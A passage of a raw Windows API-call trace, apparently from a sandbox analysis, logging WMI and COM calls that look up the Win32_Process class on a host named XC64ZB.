pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0126.251] CoGetContextToken (in: pToken=0x1b30cde0 | out: pToken=0x1b30cde0) returned 0x0 [0126.251] WbemLocator:IUnknown:AddRef (This=0x1b510ef8) returned 0x3 [0126.251] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510ef8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cde0 | out: ppvObject=0x1b30cde0*=0x1b510ef8) returned 0x0 [0126.251] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x3 [0126.252] WbemLocator:IUnknown:Release (This=0x1b510ef8) returned 0x2 [0126.252] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=2, puBuffLength=0x1b30d4e0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4e0*=0xe, pszText=0x0) returned 0x0 [0126.252] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afe20, lFlags=2, puBuffLength=0x1b30d4e0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d4e0*=0xe, pszText="Win32_Process") returned 0x0 [0126.252] IWbemServices:GetObject (in: This=0x1b4cf5b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b30d460*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d460*=0x1b4d8350, ppCallResult=0x0) returned 0x0 [0126.280] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__PATH", lFlags=0, pVal=0x1b30d3f0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d558*=0, plFlavor=0x1b30d550*=0 | out: pVal=0x1b30d3f0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b30d558*=8, plFlavor=0x1b30d550*=64) returned 0x0 [0126.280] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0126.280] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0126.280] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d428 | out: ppv=0x1b30d428*=0x6124e8) returned 0x0 [0126.280] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d418 | out: pAptType=0x1b30d418*=1) returned 0x0 [0126.280] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d420 | out: ppvObject=0x1b30d420*=0x0) returned 0x80004002 [0126.280] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.281] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c818 | out: ppv=0x1b30c818*=0x1b482610) returned 0x0 [0126.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482610, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c900 | out: ppvObject=0x1b30c900*=0x0) returned 0x80004002 [0126.281] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482610, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8d8 | out: ppvObject=0x1b30c8d8*=0x1b4aef20) returned 0x0 [0126.281] WbemDefPath:IUnknown:Release (This=0x1b482610) returned 0x0 [0126.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c680 | out: ppvObject=0x1b30c680*=0x1b4aef20) returned 0x0 [0126.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c710 | out: ppvObject=0x1b30c710*=0x0) returned 0x80004002 [0126.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bf08 | out: ppvObject=0x1b30bf08*=0x0) returned 0x80004002 [0126.281] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0126.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdc8 | out: ppvObject=0x1b30bdc8*=0x0) returned 0x80004002 [0126.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd50 | out: ppvObject=0x1b30bd50*=0x0) returned 0x80004002 [0126.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x1b482890) returned 0x0 [0126.282] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482890, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd68 | out: pCid=0x1b30bd68*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.282] WbemDefPath:IUnknown:Release (This=0x1b482890) returned 0x3 [0126.282] CoGetContextToken (in: pToken=0x1b30bdf0 | out: pToken=0x1b30bdf0) returned 0x0 [0126.282] CoGetContextToken (in: pToken=0x1b30c270 | out: pToken=0x1b30c270) returned 0x0 [0126.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c330 | out: ppvObject=0x1b30c330*=0x0) returned 0x80004002 [0126.282] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0126.282] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0126.282] CoGetContextToken (in: pToken=0x1b30d060 | out: pToken=0x1b30d060) returned 0x0 [0126.282] CoGetContextToken (in: pToken=0x1b30cf60 | out: pToken=0x1b30cf60) returned 0x0 [0126.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4aef20, riid=0x1b30d0c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d090 | out: ppvObject=0x1b30d090*=0x1b4aef20) returned 0x0 [0126.282] WbemDefPath:IUnknown:AddRef (This=0x1b4aef20) returned 0x3 [0126.282] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x2 [0126.282] WbemDefPath:IWbemPath:SetText (This=0x1b4aef20, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0126.282] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__SERVER", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=0, plFlavor=0x1b30d608*=0 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0126.282] SysStringByteLen (bstr="XC64ZB") returned 0xc [0126.282] SysStringByteLen (bstr="XC64ZB") returned 0xc [0126.283] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__NAMESPACE", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0126.283] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0126.283] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0126.283] IWbemClassObject:Get (in: This=0x1b4d8350, wszName="__CLASS", lFlags=0, pVal=0x1b30d4b0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64 | out: pVal=0x1b30d4b0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b30d610*=8, plFlavor=0x1b30d608*=64) returned 0x0 [0126.283] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0126.283] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0126.283] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0126.283] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0126.283] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0126.283] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.284] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b482630) returned 0x0 [0126.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482630, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0126.284] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482630, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af0a0) returned 0x0 [0126.284] WbemDefPath:IUnknown:Release (This=0x1b482630) returned 0x0 [0126.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af0a0) returned 0x0 [0126.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0126.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0126.284] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0126.284] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0126.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0126.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b482290) returned 0x0 [0126.285] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b482290, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.285] WbemDefPath:IUnknown:Release (This=0x1b482290) returned 0x3 [0126.285] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0126.285] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0126.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0126.285] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0126.285] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0126.285] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0126.285] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0126.285] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af0a0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af0a0) returned 0x0 [0126.285] WbemDefPath:IUnknown:AddRef (This=0x1b4af0a0) returned 0x3 [0126.285] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x2 [0126.285] WbemDefPath:IWbemPath:SetText (This=0x1b4af0a0, uMode=0x4, pszPath="") returned 0x0 [0126.285] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0126.285] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0126.285] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0126.285] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.286] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b482770) returned 0x0 [0126.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482770, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0126.286] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482770, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4af5e0) returned 0x0 [0126.286] WbemDefPath:IUnknown:Release (This=0x1b482770) returned 0x0 [0126.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4af5e0) returned 0x0 [0126.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0126.286] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0126.286] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0126.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0126.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0126.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4822b0) returned 0x0 [0126.287] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4822b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0126.287] WbemDefPath:IUnknown:Release (This=0x1b4822b0) returned 0x3 [0126.287] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0126.287] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0126.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0126.287] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0126.287] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0126.287] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0126.287] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0126.287] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4af5e0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4af5e0) returned 0x0 [0126.287] WbemDefPath:IUnknown:AddRef (This=0x1b4af5e0) returned 0x3 [0126.287] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x2 [0126.287] WbemDefPath:IWbemPath:SetText (This=0x1b4af5e0, uMode=0x4, pszPath="") returned 0x0 [0126.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af5e0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0126.287] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af0a0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0126.287] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4af5e0, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0126.287] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4af5e0, puNameBufLength=0x1b30d560*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d560*=0x0, pName=0x0) returned 0x80041009 [0126.287] WbemDefPath:IWbemPath:SetServer (This=0x1b4af5e0, Name="XC64ZB") returned 0x0 [0126.287] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0126.287] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0126.288] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0126.288] IUnknown:Release (This=0x6124e8) returned 0x1 [0126.288] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b482750) returned 0x0 [0126.288] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b482750, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0126.288] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b482750, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, 